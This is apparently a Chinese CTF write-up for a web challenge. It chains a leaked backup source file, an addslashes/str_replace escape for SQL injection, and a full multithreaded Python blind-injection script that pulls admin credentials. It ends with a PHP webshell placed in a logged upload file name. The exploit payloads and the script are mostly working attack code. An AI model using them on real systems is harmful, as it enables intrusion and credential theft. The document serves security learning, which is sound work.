登录界面可以看到随机切换的图片。从页面源码中可以看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>
,图片文件的请求地址,并且有传参id。web应用中像这种动态获取图片的实现逻辑一般是根据id从文件系统中读取图片资源,那如果没有对id进行严格过滤的话就可能造成文件泄露。
如果后端是$path = "images/" . $_GET['id'] . ".png"
像这样直接将id拼接到路径中,或许可以利用目录穿越。
尝试.../.../.../.../.../.../.../.../etc/passwd发现没有回显,很有可能后端对id进行了类型限制,试试看1.../.../.../.../.../.../.../.../etc/passwd,发现返回的是图片数据,那说明被当作了数字1,说明后端应该不是拼接路径,很可能是根据id查询数据库或者文件系统,并且将id用引号包裹起来了。
需要获得源码才行,扫扫有没有备份文件。利用dirsearch看到有robots.txt,访问给了个文件/static/secretkey.txt,但是里面没什么东西,只有一句话"you never guess",跟题解有所不同。虽然看了答案知道有.php.back备份文件,但是比赛的时候肯定得靠自己去猜。利用字典进行备份文件扫描的时候有index.php.bak,但是这道题只有image.php.bak,像这种并不花哨而且找不到任何线索的题,大概率就是源码泄露,下次可以大胆猜测。
常见文件名 / 格式 | 说明 | 示例路径 |
---|---|---|
文件名~(如index.php~) | Linux 下 Vim/Sublime 生成的备份文件(末尾加~) | http://target.com/index.php\~ |
.#文件名(如.#config.php) | Vim 编辑时生成的临时交换文件(开头.#) | http://target.com/.#config.php |
文件名.bak/文件名.back(如config.php.bak) | 手动添加的备份后缀(开发常用) | http://target.com/config.php.bak |
文件名.txt(如config.txt) | 为方便查看,将配置文件改为 TXT 格式备份 | http://target.com/config.txt |
php
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
直接将参数拼入sql语句,这是很危险的。不过他正确使用了addslashes函数进行特殊字符转义。但是,又用了str_replace将某些字符替换为空,这和上次那道连续使用两个转移函数造成特殊字符逃逸差不多,这边也可以构造逃逸。
addslashes函数默认转义的字符:
单引号('):转义后为 '
双引号("):转义后为 "
反斜杠(\):转义后为 \
NUL 字符(ASCII 码 0 的空字符,通常用 \0 表示):转义后为 \0
另外一个注意的地方是这边替换掉的是\0
%00
\\
'
,因为在str_replace函数中这些字符是用双引号包裹的,会转义一次。
我们可以在id中构造\0
,经过addslashes函数转义变成\\0
,然后替换函数会将\0
替换为空,就留下了一个反斜杠。拼入sql语句就是:
select * from images where id=' \' or path='{$path}'
此时单引号被转义,id的值变成了' \' or path='
,$path中的东西就成功逃逸出来了。但是此时最后还有一个单引号怎么办呢?考虑闭合或者用注释符。
怎么构造payload得到敏感文件呢?读取的文件是查询结果中的path字段,但是我们并不知道数据库中有什么。
尝试:
id=\0&path=or id='1'#
id=\0&path=or id='1
发现都不行,说明这样处理单引号不行,哦对因为单引号被替换为空了
id=\0&path=or 1=1#
这样也不行,难道是#没有生效?原来是直接在地址栏输入#不会被url编码,而是被当作注释符了。
id=\0&path=or 1=1%23 成功了。先看看images表中有没有信息。
id=\0&path=or 1=1 limit 1,1%23 只有三张图片。看来需要利用盲注找其他表。
注入位置是id=\0&path=or 1={xxx}%23
套用脚本:
python
import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
# -----------注意访问的文件
url = 'http://2182da8a-d0d4-461b-ab4a-05f5d542b169.node5.buuoj.cn:81/image.php'
# -----------标志性回显
# symbol = 'Nu1L'
# -----------爆破位置payload
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))'
select = 'select group_concat(username)from users'
# -----------爆破长度payload
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=(0x7573657273))'
select_len = 'select length(group_concat(username))from users'
length = 0
result = [''] * 1000 # 使用列表存储结果,避免线程安全问题
def make_request(url, param):
try:
r = requests.get(url, params=param, timeout=30)
# r = requests.post(url, data=param, timeout=30)
r.raise_for_status() # 检查HTTP状态码
return r
except requests.exceptions.Timeout:
print("[-] 请求超时,请检查网络连接或增加超时时间")
except requests.exceptions.HTTPError as e:
print(f"[-] HTTP错误: {e.response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常: {str(e)}")
return None
def make_request_with_retry(url, param):
global result
r = make_request(url, param)
if not r:
print("[-] 重试")
time.sleep(random.randint(0, 10))
r = make_request(url, param)
if not r:
return None
return r
def get_length_with_BinarySearch():
global length
low, high = 0, 500
while low <= high:
mid = (low + high) // 2
param = {
'id': '\\0', # 用双反斜杠表示字面意义的\0
'path': f"or 1=(({select_len})>={mid})#"
}
# print(param)
r = make_request_with_retry(url, param)
if not r:
print(f"[-]长度爆破失败")
# print(r.content)
# if symbol in r.text:
if len(r.content) > 0:
# 大于等于mid
param = {
"id": '\\0',
"path": f"or 1=(({select_len})={mid})#"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-]长度爆破失败")
# if symbol in r.text:
if len(r.content) > 0:
print(f"长度为{mid}")
length = mid
break
else:
# 大于mid
low = mid + 1
else:
# 小于mid
high = mid - 1
def get_char_at_position(i):
global result
print(f"[*] 开始注入位置{i}...")
low, high = 31, 127
while low <= high:
mid = (low + high) // 2
param = {
'id': '\\0', # 用双反斜杠表示字面意义的\0
'path': f"or 1=(ord(substr(({select}),{i},1))>={mid})#"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-] 位置{i}未找到!!!!!!!!!!!")
result[i - 1] = '?'
break
# if symbol in r.text:
if len(r.content) > 0:
# 大于等于mid
param = {
'id': '\\0', # 用双反斜杠表示字面意义的\0
'path': f"or 1=(ord(substr(({select}),{i},1))={mid})#"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-] 位置{i}未找到!!!!!!!!!!!")
result[i - 1] = '?'
break
# if symbol in r.text:
if len(r.content) > 0:
# 等于mid
result[i - 1] = chr(mid)
print(f"[*] 位置{i}字符为{chr(mid)}")
break
else:
# 大于mid
low = mid + 1
else:
# 小于mid
high = mid - 1
# # -----------------失败位置重试,如果有个别地方没有爆破成功可以在这里进行单独爆破
# position = {12, 15}
# for i in position:
# get_char_at_position(i)
# ------------------爆破长度
get_length_with_BinarySearch()
if length == 0:
print("[-] length为0,请检查错误")
exit(0)
# # ------------------单线程爆破
# for i in range(1, length+1):
# get_char_at_position(i)
# ------------------多线程爆破
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]
# 等待所有任务完成
for future in futures:
future.result()
# 过滤空字符并拼接结果
final_result = ''.join(filter(None, result))
print("最终结果:", final_result)
# 出错的位置
positions = []
for index, char in enumerate(final_result):
if char == '?':
positions.append(index+1)
print("出错位置:", positions)
有三个注意的点:
- 这里响应是图片,所有不能再用r.text来作为判断条件,可以通过响应长度不同来判断。
- 由于单双引号被禁用,所以在最后查字段的时候表名需要用十六进制编码,因为在Mysql中十六进制编码会自动解码为字符串,可以绕过引号。
- 通过request来发起请求的时候,客户端会自动对params进行url编码,所以如果#仍然写成%23就会导致二次编码。
最后爆出来:admin b028759c31b4a29d54f6
登录进去。发现是文件上传,随便上传一个文件发现:
I logged the file name you uploaded to logs/upload.05571ffc0f0ba134f932c75082af160e.log.php. LOL
看一下该日志文件:User admin uploaded file shell.jpg.
那是不是能将木马放到文件名中。试一下
使用蚁剑成功连接。
总结一下:首先需要获得image.php.bak源码文件,然后利用sql漏洞布尔盲注获得用户密码,登录后发现能上传文件至php文件,并且记录文件名,于是直接将一句话木马放到文件名中。